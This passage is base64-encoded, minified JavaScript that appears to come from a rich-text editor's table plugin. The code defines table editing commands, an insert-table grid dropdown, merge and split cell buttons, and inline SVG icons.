widGFibGVDZWxsIikpe24uYWRkKHQpfX1mb3IoY29uc3QgaSBvZiBuLnZhbHVlcygpKXtmb3IoY29uc3QgbiBvZlsuLi5pLmdldENoaWxkcmVuKCldLmZpbHRlcigodD0+cEIodCxlKSkpKXt0LnJlZnJlc2hJdGVtKG4pfX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24gcEIodCxlKXtpZighdC5pcygiZWxlbWVudCIsInBhcmFncmFwaCIpKXtyZXR1cm4gZmFsc2V9Y29uc3Qgbj1lLnRvVmlld0VsZW1lbnQodCk7aWYoIW4pe3JldHVybiBmYWxzZX1yZXR1cm4gakkodCkhPT1uLmlzKCJlbGVtZW50Iiwic3BhbiIpfWZ1bmN0aW9uIGtCKHQpe3QuZG9jdW1lbnQucmVnaXN0ZXJQb3N0Rml4ZXIoKCgpPT5iQih0KSkpfWZ1bmN0aW9uIGJCKHQpe2NvbnN0IGU9dC5kb2N1bWVudC5kaWZmZXI7Y29uc3Qgbj1uZXcgU2V0O2Zvcihjb25zdCB0IG9mIGUuZ2V0Q2hhbmdlcygpKXtpZih0LnR5cGUhPSJhdHRyaWJ1dGUiKXtjb250aW51ZX1jb25zdCBlPXQucmFuZ2Uuc3RhcnQubm9kZUFmdGVyO2lmKGUmJmUuaXMoImVsZW1lbnQiLCJ0YWJsZSIpJiZ0LmF0dHJpYnV0ZUtleT09ImhlYWRpbmdSb3dzIil7bi5hZGQoZSl9fWlmKG4uc2l6ZSl7Zm9yKGNvbnN0IHQgb2Ygbi52YWx1ZXMoKSl7ZS5yZWZyZXNoSXRlbSh0KX1yZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9dmFyIHdCPW4oNTIpO3ZhciBDQj17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O0NCLmluc2VydD0iaGVhZCI7Q0Iuc2luZ2xldG9uPXRydWU7dmFyIEFCPXJrKCkod0JbImEiXSxDQik7dmFyIF9CPXdCWyJhIl0ubG9jYWxzfHx7fTtjbGFzcyB2QiBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJUYWJsZUVkaXRpbmcifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbDtjb25zdCBuPWUuc2NoZW1hO2NvbnN0IGk9dC5jb252ZXJzaW9uO24ucmVnaXN0ZXIoInRhYmxlIix7YWxsb3dXaGVyZToiJGJsb2NrIixhbGxvd0F0dHJpYnV0ZXM6WyJoZWFkaW5nUm93cyIsImhlYWRpbmdDb2x1bW5zIl0saXNPYmplY3Q6dHJ1ZSxpc0Jsb2NrOnRydWV9KTtuLnJlZ2lzdGVyKCJ0YWJsZVJvdyIse2FsbG93SW46InRhYmxlIixpc0xpbWl0OnRydWV9KTtuLnJlZ2lzdGVyKCJ0YWJsZUNlbGwiLHthbGxvd0luOiJ0YWJsZVJvdyIsYWxsb3dBdHRyaWJ1dGVzOlsiY29sc3BhbiIsInJvd3NwYW4iXSxpc0xpbWl0OnRydWUsaXNTZWxlY3RhYmxlOnRydWV9KTtuLmV4dGVuZCgiJGJsb2NrIix7YWxsb3dJbjoidGFibGVDZWxsIn0pO24uYWRkQ2hpbGRDaGVjaygoKHQsZSk9PntpZihlLm5hbWU9PSJ0YWJsZSImJkFycmF5LmZyb20odC5nZXROYW1lcygpKS5pbmNsdWRlcygidGFibGUiKSl7cmV0dXJuIGZhbHNlfX0pKTtpLmZvcigidXBjYXN0IikuYWRkKEVJKCkpO2kuZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5hZGQoQkkoe2FzV2lkZ2V0OnRydWV9KSk7aS5mb3IoImRhdGFEb3duY2FzdCIpLmFkZChCSSgpKTtpLmZvcigidXBjYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6InRhYmxlUm93Iix2aWV3OiJ0ciJ9KTtpLmZvcigidXBjYXN0IikuYWRkKE1JKCkpO2kuZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5hZGQoUEkoKSk7aS5mb3IoImVkaXRpbmdEb3duY2FzdCIpLmFkZChPSSgpKTtpLmZvcigidXBjYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6InRhYmxlQ2VsbCIsdmlldzoidGQifSk7aS5mb3IoInVwY2FzdCIpLmVsZW1lbnRUb0VsZW1lbnQoe21vZGVsOiJ0YWJsZUNlbGwiLHZpZXc6InRoIn0pO2kuZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5hZGQoekkoKSk7dC5jb252ZXJzaW9uLmZvcigiZWRpdGluZ0Rvd25jYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6InBhcmFncmFwaCIsdmlldzpSSSxjb252ZXJ0ZXJQcmlvcml0eToiaGlnaCJ9KTtpLmF0dHJpYnV0ZVRvQXR0cmlidXRlKHttb2RlbDoiY29sc3BhbiIsdmlldzoiY29sc3BhbiJ9KTtpLmF0dHJpYnV0ZVRvQXR0cmlidXRlKHttb2RlbDoicm93c3BhbiIsdmlldzoicm93c3BhbiJ9KTtpLmZvcigiZWRpdGluZ0Rvd25jYXN0IikuYWRkKExJKCkpO3QuY29tbWFuZHMuYWRkKCJpbnNlcnRUYWJsZSIsbmV3IFhJKHQpKTt0LmNvbW1hbmRzLmFkZCgiaW5zZXJ0VGFibGVSb3dBYm92ZSIsbmV3IGZOKHQse29yZGVyOiJhYm92ZSJ9KSk7dC5jb21tYW5kcy5hZGQoImluc2VydFRhYmxlUm93QmVsb3ciLG5ldyBmTih0LHtvcmRlcjoiYmVsb3cifSkpO3QuY29tbWFuZHMuYWRkKCJpbnNlcnRUYWJsZUNvbHVtbkxlZnQiLG5ldyBtTih0LHtvcmRlcjoibGVmdCJ9KSk7dC5jb21tYW5kcy5hZGQoImluc2VydFRhYmxlQ29sdW1uUmlnaHQiLG5ldyBtTih0LHtvcmRlcjoicmlnaHQifSkpO3QuY29tbWFuZHMuYWRkKCJyZW1vdmVUYWJsZVJvdyIsbmV3IEJOKHQpKTt0LmNvbW1hbmRzLmFkZCgicmVtb3ZlVGFibGVDb2x1bW4iLG5ldyB6Tih0KSk7dC5jb21tYW5kcy5hZGQoInNwbGl0VGFibGVDZWxsVmVydGljYWxseSIsbmV3IGdOKHQse2RpcmVjdGlvbjoidmVydGljYWxseSJ9KSk7dC5jb21tYW5kcy5hZGQoInNwbGl0VGFibGVDZWxsSG9yaXpvbnRhbGx5IixuZXcgZ04odCx7ZGlyZWN0aW9uOiJob3Jpem9udGFsbHkifSkpO3QuY29tbWFuZHMuYWRkKCJtZXJnZVRhYmxlQ2VsbHMiLG5ldyBZTih0KSk7dC5jb21tYW5kcy5hZGQoIm1lcmdlVGFibGVDZWxsUmlnaHQiLG5ldyBNTih0LHtkaXJlY3Rpb246InJpZ2h0In0pKTt0LmNvbW1hbmRzLmFkZCgibWVyZ2VUYWJsZUNlbGxMZWZ0IixuZXcgTU4odCx7ZGlyZWN0aW9uOiJsZWZ0In0pKTt0LmNvbW1hbmRzLmFkZCgibWVyZ2VUYWJsZUNlbGxEb3duIixuZXcgTU4odCx7ZGlyZWN0aW9uOiJkb3duIn0pKTt0LmNvbW1hbmRzLmFkZCgibWVyZ2VUYWJsZUNlbGxVcCIsbmV3IE1OKHQse2RpcmVjdGlvbjoidXAifSkpO3QuY29tbWFuZHMuYWRkKCJzZXRUYWJsZUNvbHVtbkhlYWRlciIsbmV3IGpOKHQpKTt0LmNvbW1hbmRzLmFkZCgic2V0VGFibGVSb3dIZWFkZXIiLG5ldyBSTih0KSk7dC5jb21tYW5kcy5hZGQoInNlbGVjdFRhYmxlUm93IixuZXcgWE4odCkpO3QuY29tbWFuZHMuYWRkKCJzZWxlY3RUYWJsZUNvbHVtbiIsbmV3IHRCKHQpKTtrQihlKTtlQihlKTttQihlLHQuZWRpdGluZy5tYXBwZXIpO2NCKGUpfXN0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5bRk5dfX12YXIgeUI9big1Myk7dmFyIHhCPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07eEIuaW5zZXJ0PSJoZWFkIjt4Qi5zaW5nbGV0b249dHJ1ZTt2YXIgREI9cmsoKSh5QlsiYSJdLHhCKTt2YXIgRUI9eUJbImEiXS5sb2NhbHN8fHt9O2NsYXNzIE1CIGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7Y29uc3QgZT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldCgiaWNvbiIpO3RoaXMuc2V0KCJpc0VuYWJsZWQiLHRydWUpO3RoaXMuc2V0KCJpc09uIixmYWxzZSk7dGhpcy5zZXQoImlzVG9nZ2xlYWJsZSIsZmFsc2UpO3RoaXMuc2V0KCJpc1Zpc2libGUiLHRydWUpO3RoaXMuc2V0KCJrZXlzdHJva2UiKTt0aGlzLnNldCgibGFiZWwiKTt0aGlzLnNldCgidGFiaW5kZXgiLC0xKTt0aGlzLnNldCgidG9vbHRpcCIpO3RoaXMuc2V0KCJ0b29sdGlwUG9zaXRpb24iLCJzIik7dGhpcy5zZXQoInR5cGUiLCJidXR0b24iKTt0aGlzLnNldCgid2l0aFRleHQiLGZhbHNlKTt0aGlzLmNoaWxkcmVuPXRoaXMuY3JlYXRlQ29sbGVjdGlvbigpO3RoaXMuYWN0aW9uVmlldz10aGlzLl9jcmVhdGVBY3Rpb25WaWV3KCk7dGhpcy5hcnJvd1ZpZXc9dGhpcy5fY3JlYXRlQXJyb3dWaWV3KCk7dGhpcy5rZXlzdHJva2VzPW5ldyBWcDt0aGlzLmZvY3VzVHJhY2tlcj1uZXcgdGs7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1zcGxpdGJ1dHRvbiIsZS5pZigiaXNWaXNpYmxlIiwiY2staGlkZGVuIiwodD0+IXQpKSx0aGlzLmFycm93Vmlldy5iaW5kVGVtcGxhdGUuaWYoImlzT24iLCJjay1zcGxpdGJ1dHRvbl9vcGVuIildfSxjaGlsZHJlbjp0aGlzLmNoaWxkcmVufSl9cmVuZGVyKCl7c3VwZXIucmVuZGVyKCk7dGhpcy5jaGlsZHJlbi5hZGQodGhpcy5hY3Rpb25WaWV3KTt0aGlzLmNoaWxkcmVuLmFkZCh0aGlzLmFycm93Vmlldyk7dGhpcy5mb2N1c1RyYWNrZXIuYWRkKHRoaXMuYWN0aW9uVmlldy5lbGVtZW50KTt0aGlzLmZvY3VzVHJhY2tlci5hZGQodGhpcy5hcnJvd1ZpZXcuZWxlbWVudCk7dGhpcy5rZXlzdHJva2VzLmxpc3RlblRvKHRoaXMuZWxlbWVudCk7dGhpcy5rZXlzdHJva2VzLnNldCgiYXJyb3dyaWdodCIsKCh0LGUpPT57aWYodGhpcy5mb2N1c1RyYWNrZXIuZm9jdXNlZEVsZW1lbnQ9PT10aGlzLmFjdGlvblZpZXcuZWxlbWVudCl7dGhpcy5hcnJvd1ZpZXcuZm9jdXMoKTtlKCl9fSkpO3RoaXMua2V5c3Ryb2tlcy5zZXQoImFycm93bGVmdCIsKCh0LGUpPT57aWYodGhpcy5mb2N1c1RyYWNrZXIuZm9jdXNlZEVsZW1lbnQ9PT10aGlzLmFycm93Vmlldy5lbGVtZW50KXt0aGlzLmFjdGlvblZpZXcuZm9jdXMoKTtlKCl9fSkpfWZvY3VzKCl7dGhpcy5hY3Rpb25WaWV3LmZvY3VzKCl9X2NyZWF0ZUFjdGlvblZpZXcoKXtjb25zdCB0PW5ldyBjdzt0LmJpbmQoImljb24iLCJpc0VuYWJsZWQiLCJpc09uIiwiaXNUb2dnbGVhYmxlIiwia2V5c3Ryb2tlIiwibGFiZWwiLCJ0YWJpbmRleCIsInRvb2x0aXAiLCJ0b29sdGlwUG9zaXRpb24iLCJ0eXBlIiwid2l0aFRleHQiKS50byh0aGlzKTt0LmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczoiY2stc3BsaXRidXR0b25fX2FjdGlvbiJ9fSk7dC5kZWxlZ2F0ZSgiZXhlY3V0ZSIpLnRvKHRoaXMpO3JldHVybiB0fV9jcmVhdGVBcnJvd1ZpZXcoKXtjb25zdCB0PW5ldyBjdztjb25zdCBlPXQuYmluZFRlbXBsYXRlO3QuaWNvbj1sdzt0LmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczoiY2stc3BsaXRidXR0b25fX2Fycm93IiwiYXJpYS1oYXNwb3B1cCI6dHJ1ZSwiYXJpYS1leHBhbmRlZCI6ZS50bygiaXNPbiIsKHQ9PlN0cmluZyh0KSkpfX0pO3QuYmluZCgiaXNFbmFibGVkIikudG8odGhpcyk7dC5kZWxlZ2F0ZSgiZXhlY3V0ZSIpLnRvKHRoaXMsIm9wZW4iKTtyZXR1cm4gdH19dmFyIFNCPW4oNTQpO3ZhciBUQj17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O1RCLmluc2VydD0iaGVhZCI7VEIuc2luZ2xldG9uPXRydWU7dmFyIElCPXJrKCkoU0JbImEiXSxUQik7dmFyIE5CPVNCWyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBCQiBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO2NvbnN0IGU9dGhpcy5iaW5kVGVtcGxhdGU7dGhpcy5pdGVtcz10aGlzLl9jcmVhdGVHcmlkQ29sbGVjdGlvbigpO3RoaXMuc2V0KCJyb3dzIiwwKTt0aGlzLnNldCgiY29sdW1ucyIsMCk7dGhpcy5iaW5kKCJsYWJlbCIpLnRvKHRoaXMsImNvbHVtbnMiLHRoaXMsInJvd3MiLCgodCxlKT0+YCR7ZX0gw5cgJHt0fWApKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayJdfSxjaGlsZHJlbjpbe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrLWluc2VydC10YWJsZS1kcm9wZG93bl9fZ3JpZCJdfSxvbjp7Im1vdXNlb3ZlckAuY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLWdyaWQtYm94IjplLnRvKCJib3hvdmVyIil9LGNoaWxkcmVuOnRoaXMuaXRlbXN9LHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjay1pbnNlcnQtdGFibGUtZHJvcGRvd25fX2xhYmVsIl19LGNoaWxkcmVuOlt7dGV4dDplLnRvKCJsYWJlbCIpfV19XSxvbjp7bW91c2Vkb3duOmUudG8oKHQ9Pnt0LnByZXZlbnREZWZhdWx0KCl9KSksY2xpY2s6ZS50bygoKCk9Pnt0aGlzLmZpcmUoImV4ZWN1dGUiKX0pKX19KTt0aGlzLm9uKCJib3hvdmVyIiwoKHQsZSk9Pntjb25zdHtyb3c6bixjb2x1bW46aX09ZS50YXJnZXQuZGF0YXNldDt0aGlzLnNldCh7cm93czpwYXJzZUludChuKSxjb2x1bW5zOnBhcnNlSW50KGkpfSl9KSk7dGhpcy5vbigiY2hhbmdlOmNvbHVtbnMiLCgoKT0+e3RoaXMuX2hpZ2hsaWdodEdyaWRCb3hlcygpfSkpO3RoaXMub24oImNoYW5nZTpyb3dzIiwoKCk9Pnt0aGlzLl9oaWdobGlnaHRHcmlkQm94ZXMoKX0pKX1mb2N1cygpe31mb2N1c0xhc3QoKXt9X2hpZ2hsaWdodEdyaWRCb3hlcygpe2NvbnN0IHQ9dGhpcy5yb3dzO2NvbnN0IGU9dGhpcy5jb2x1bW5zO3RoaXMuaXRlbXMubWFwKCgobixpKT0+e2NvbnN0IG89TWF0aC5mbG9vcihpLzEwKTtjb25zdCByPWklMTA7Y29uc3Qgcz1vPHQmJnI8ZTtuLnNldCgiaXNPbiIscyl9KSl9X2NyZWF0ZUdyaWRDb2xsZWN0aW9uKCl7Y29uc3QgdD1bXTtmb3IobGV0IGU9MDtlPDEwMDtlKyspe2NvbnN0IG49TWF0aC5mbG9vcihlLzEwKTtjb25zdCBpPWUlMTA7dC5wdXNoKG5ldyBQQih0aGlzLmxvY2FsZSxuKzEsaSsxKSl9cmV0dXJuIHRoaXMuY3JlYXRlQ29sbGVjdGlvbih0KX19Y2xhc3MgUEIgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0LGUsbil7c3VwZXIodCk7Y29uc3QgaT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldCgiaXNPbiIsZmFsc2UpO3RoaXMuc2V0VGVtcGxhdGUoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ncmlkLWJveCIsaS5pZigiaXNPbiIsImNrLW9uIildLCJkYXRhLXJvdyI6ZSwiZGF0YS1jb2x1bW4iOm59fSl9fXZhciB6Qj0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTMgNnYzaDRWNkgzem0wIDR2M2g0di0zSDN6bTAgNHYzaDR2LTNIM3ptNSAzaDR2LTNIOHYzem01IDBoNHYtM2gtNHYzem00LTR2LTNoLTR2M2g0em0wLTRWNmgtNHYzaDR6bTEuNSA4YTEuNSAxLjUgMCAwIDEtMS41IDEuNUgzQTEuNSAxLjUgMCAwIDEgMS41IDE3VjRjLjIyMi0uODYzIDEuMDY4LTEuNSAyLTEuNWgxM2MuOTMyIDAgMS43NzguNjM3IDIgMS41djEzek0xMiAxM3YtM0g4djNoNHptMC00VjZIOHYzaDR6Ii8+PC9zdmc+Jzt2YXIgTEI9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0yLjUgMWgxNUExLjUgMS41IDAgMCAxIDE5IDIuNXYxNWExLjUgMS41IDAgMCAxLTEuNSAxLjVoLTE1QTEuNSAxLjUgMCAwIDEgMSAxNy41di0xNUExLjUgMS41IDAgMCAxIDIuNSAxek0yIDJ2MTZoMTZWMkgyeiIgb3BhY2l0eT0iLjYiLz48cGF0aCBkPSJNMTggN3YxSDJWN2gxNnptMCA1djFIMnYtMWgxNnoiIG9wYWNpdHk9Ii42Ii8+PHBhdGggZD0iTTE0IDF2MThhMSAxIDAgMCAxLTEgMUg3YTEgMSAwIDAgMS0xLTFWMWExIDEgMCAwIDEgMS0xaDZhMSAxIDAgMCAxIDEgMXptLTIgMUg4djRoNFYyem0wIDZIOHY0aDRWOHptMCA2SDh2NGg0di00eiIvPjwvc3ZnPic7dmFyIE9CPSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMi41IDFoMTVBMS41IDEuNSAwIDAgMSAxOSAyLjV2MTVhMS41IDEuNSAwIDAgMS0xLjUgMS41aC0xNUExLjUgMS41IDAgMCAxIDEgMTcuNXYtMTVBMS41IDEuNSAwIDAgMSAyLjUgMXpNMiAydjE2aDE2VjJIMnoiIG9wYWNpdHk9Ii42Ii8+PHBhdGggZD0iTTcgMmgxdjE2SDdWMnptNSAwaDF2MTZoLTFWMnoiIG9wYWNpdHk9Ii42Ii8+PHBhdGggZD0iTTEgNmgxOGExIDEgMCAwIDEgMSAxdjZhMSAxIDAgMCAxLTEgMUgxYTEgMSAwIDAgMS0xLTFWN2ExIDEgMCAwIDEgMS0xem0xIDJ2NGg0VjhIMnptNiAwdjRoNFY4SDh6bTYgMHY0aDRWOGgtNHoiLz48L3N2Zz4nO3ZhciBSQj0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTIuNSAxaDE1QTEuNSAxLjUgMCAwIDEgMTkgMi41djE1YTEuNSAxLjUgMCAwIDEtMS41IDEuNWgtMTVBMS41IDEuNSAwIDAgMSAxIDE3LjV2LTE1QTEuNSAxLjUgMCAwIDEgMi41IDF6TTIgMnYxNmgxNlYySDJ6IiBvcGFjaXR5PSIuNiIvPjxwYXRoIGQ9Ik03IDJoMXYxNkg3VjJ6bTUgMGgxdjdoLTFWMnptNiA1djFIMlY3aDE2ek04IDEydjFIMnYtMWg2eiIgb3BhY2l0eT0iLjYiLz48cGF0aCBkPSJNNyA3aDEyYTEgMSAwIDAgMSAxIDF2MTFhMSAxIDAgMCAxLTEgMUg3YTEgMSAwIDAgMS0xLTFWOGExIDEgMCAwIDEgMS0xem0xIDJ2OWgxMFY5SDh6Ii8+PC9zdmc+JztjbGFzcyBqQiBleHRlbmRzIG5De2luaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dGhpcy5lZGl0b3IudDtjb25zdCBuPXQubG9jYWxlLmNvbnRlbnRMYW5ndWFnZURpcmVjdGlvbjtjb25zdCBpPW49PT0ibHRyIjt0LnVpLmNvbXBvbmVudEZhY3RvcnkuYWRkKCJpbnNlcnRUYWJsZSIsKG49Pntjb25zdCBpPXQuY29tbWFuZHMuZ2V0KCJpbnNlcnRUYWJsZSIpO2NvbnN0IG89Tncobik7by5iaW5kKCJpc0VuYWJsZWQiKS50byhpKTtvLmJ1dHRvblZpZXcuc2V0KHtpY29uOnpCLGxhYmVsOmUoIkluc2VydCB0YWJsZSIpLHRvb2x0aXA6dHJ1ZX0pO2xldCByO28ub24oImNoYW5nZTppc09wZW4iLCgoKT0+e2lmKHIpe3JldHVybn1yPW5ldyBCQihuKTtvLnBhbmVsVmlldy5jaGlsZHJlbi5hZGQocik7ci5kZWxlZ2F0ZSgiZXhlY3V0ZSIpLnRvKG8pO28uYnV0dG9uVmlldy5vbigib3BlbiIsKCgpPT57ci5yb3dzPTA7ci5jb2x1bW5zPTB9KSk7by5vbigiZXhlY3V0ZSIsKCgpPT57dC5leGVjdXRlKCJpbnNlcnRUYWJsZSIse3Jvd3M6ci5yb3dzLGNvbHVtbnM6ci5jb2x1bW5zfSk7dC5lZGl0aW5nLnZpZXcuZm9jdXMoKX0pKX0pKTtyZXR1cm4gb30pKTt0LnVpLmNvbXBvbmVudEZhY3RvcnkuYWRkKCJ0YWJsZUNvbHVtbiIsKHQ9Pntjb25zdCBuPVt7dHlwZToic3dpdGNoYnV0dG9uIixtb2RlbDp7Y29tbWFuZE5hbWU6InNldFRhYmxlQ29sdW1uSGVhZGVyIixsYWJlbDplKCJIZWFkZXIgY29sdW1uIiksYmluZElzT246dHJ1ZX19LHt0eXBlOiJzZXBhcmF0b3IifSx7dHlwZToiYnV0dG9uIixtb2RlbDp7Y29tbWFuZE5hbWU6aT8iaW5zZXJ0VGFibGVDb2x1bW5MZWZ0IjoiaW5zZXJ0VGFibGVDb2x1bW5SaWdodCIsbGFiZWw6ZSgiSW5zZXJ0IGNvbHVtbiBsZWZ0Iil9fSx7dHlwZToiYnV0dG9uIixtb2RlbDp7Y29tbWFuZE5hbWU6aT8iaW5zZXJ0VGFibGVDb2x1bW5SaWdodCI6Imluc2VydFRhYmxlQ29sdW1uTGVmdCIsbGFiZWw6ZSgiSW5zZXJ0IGNvbHVtbiByaWdodCIpfX0se3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOiJyZW1vdmVUYWJsZUNvbHVtbiIsbGFiZWw6ZSgiRGVsZXRlIGNvbHVtbiIpfX0se3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOiJzZWxlY3RUYWJsZUNvbHVtbiIsbGFiZWw6ZSgiU2VsZWN0IGNvbHVtbiIpfX1dO3JldHVybiB0aGlzLl9wcmVwYXJlRHJvcGRvd24oZSgiQ29sdW1uIiksTEIsbix0KX0pKTt0LnVpLmNvbXBvbmVudEZhY3RvcnkuYWRkKCJ0YWJsZVJvdyIsKHQ9Pntjb25zdCBuPVt7dHlwZToic3dpdGNoYnV0dG9uIixtb2RlbDp7Y29tbWFuZE5hbWU6InNldFRhYmxlUm93SGVhZGVyIixsYWJlbDplKCJIZWFkZXIgcm93IiksYmluZElzT246dHJ1ZX19LHt0eXBlOiJzZXBhcmF0b3IifSx7dHlwZToiYnV0dG9uIixtb2RlbDp7Y29tbWFuZE5hbWU6Imluc2VydFRhYmxlUm93QWJvdmUiLGxhYmVsOmUoIkluc2VydCByb3cgYWJvdmUiKX19LHt0eXBlOiJidXR0b24iLG1vZGVsOntjb21tYW5kTmFtZToiaW5zZXJ0VGFibGVSb3dCZWxvdyIsbGFiZWw6ZSgiSW5zZXJ0IHJvdyBiZWxvdyIpfX0se3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOiJyZW1vdmVUYWJsZVJvdyIsbGFiZWw6ZSgiRGVsZXRlIHJvdyIpfX0se3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOiJzZWxlY3RUYWJsZVJvdyIsbGFiZWw6ZSgiU2VsZWN0IHJvdyIpfX1dO3JldHVybiB0aGlzLl9wcmVwYXJlRHJvcGRvd24oZSgiUm93IiksT0Isbix0KX0pKTt0LnVpLmNvbXBvbmVudEZhY3RvcnkuYWRkKCJtZXJnZVRhYmxlQ2VsbHMiLCh0PT57Y29uc3Qgbj1be3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOiJtZXJnZVRhYmxlQ2VsbFVwIixsYWJlbDplKCJNZXJnZSBjZWxsIHVwIil9fSx7dHlwZToiYnV0dG9uIixtb2RlbDp7Y29tbWFuZE5hbWU6aT8ibWVyZ2VUYWJsZUNlbGxSaWdodCI6Im1lcmdlVGFibGVDZWxsTGVmdCIsbGFiZWw6ZSgiTWVyZ2UgY2VsbCByaWdodCIpfX0se3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOiJtZXJnZVRhYmxlQ2VsbERvd24iLGxhYmVsOmUoIk1lcmdlIGNlbGwgZG93biIpfX0se3R5cGU6ImJ1dHRvbiIsbW9kZWw6e2NvbW1hbmROYW1lOmk/Im1lcmdlVGFibGVDZWxsTGVmdCI6Im1lcmdlVGFibGVDZWxsUmlnaHQiLGxhYmVsOmUoIk1lcmdlIGNlbGwgbGVmdCIpfX0se3R5cGU6InNlcGFyYXRvciJ9LHt0eXBlOiJidXR0b24iLG1vZGVsOntjb21tYW5kTmFtZToic3BsaXRUYWJsZUNlbGxWZXJ0aWNhbGx5IixsYWJlbDplKCJTcGxpdCBjZWxsIHZlcnRpY2FsbHkiKX19LHt0eXBlOiJidXR0b24iLG1vZGVsOntjb21tYW5kTmFtZToic3BsaXRUYWJsZUNlbGxIb3Jpem9udGFsbHkiLGxhYmVsOmUoIlNwbGl0IGNlbGwgaG9yaXpvbnRhbGx5Iil9fV07cmV0dXJuIHRoaXMuX3ByZXBhcmVNZXJnZVNwbGl0QnV0dG9uRHJvcGRvd24oZSgiTWVyZ2UgY2VsbHMiKSxSQixuLHQpfSkpfV9wcmVwYXJlRHJvcGRvd24odCxlLG4saSl7Y29uc3Qgbz10aGlzLmVkaXRvcjtjb25zdCByPU53KGkpO2NvbnN0IHM9dGhpcy5fZmlsbERyb3Bkb3duV2l0aExpc3RPcHRpb25zKHIsbik7ci5idXR0b25WaWV3LnNldCh7bGFiZWw6dCxpY29uOmUsdG9vbHRpcDp0cnVlfSk7ci5iaW5kKCJpc0VuYWJsZWQiKS50b01hbnkocywiaXNFbmFibGVkIiwoKC4uLnQpPT50LnNvbWUoKHQ9PnQpKSkpO3RoaXMubGlzdGVuVG8ociwiZXhlY3V0ZSIsKHQ9PntvLmV4ZWN1dGUodC5zb3VyY2UuY29tbWFuZE5hbWUpO28uZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIHJ9X3ByZXBhcmVNZXJnZVNwbGl0QnV0dG9uRHJvcGRvd24odCxlLG4saSl7Y29uc3Qgbz10aGlzLmVkaXRvcjtjb25zdCByPU53KGksTUIpO2NvbnN0IHM9Im1lcmdlVGFibGVDZWxscyI7dGhpcy5fZmlsbERyb3Bkb3duV2l0aExpc3RPcHRpb25zKHIsbik7ci5idXR0b25WaWV3LnNldCh7bGFiZWw6dCxpY29uOmUsdG9vbHRpcDp0cnVlLGlzRW5hYmxlZDp0cnVlfSk7dGhpcy5saXN0ZW5UbyhyLmJ1dHRvblZpZXcsImV4ZWN1dGUiLCgoKT0+e28uZXhlY3V0ZShzKTtvLmVkaXRpbmcudmlldy5mb2N1cygpfSkpO3RoaXMubGlzdGVuVG8ociwiZXhlY3V0ZSIsKHQ9PntvLmV4ZWN1dGUodC5zb3VyY2UuY29tbWFuZE5hbWUpO28uZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIHJ9X2ZpbGxEcm9wZG93bldpdGhMaXN0T3B0aW9ucyh0LGUpe2NvbnN0IG49dGhpcy5lZGl0b3I7Y29uc3QgaT1bXTtjb25zdCBvPW5ldyB2cztmb3IoY29uc3QgdCBvZiBlKXtGQih0LG4saSxvKX1Qdyh0LG8sbi51aS5jb21wb25lbnRGYWN0b3J5KTtyZXR1cm4gaX19ZnVuY3Rpb24gRkIodCxlLG4saSl7Y29uc3Qgbz10Lm1vZGVsPW5ldyBBXyh0Lm1vZGVs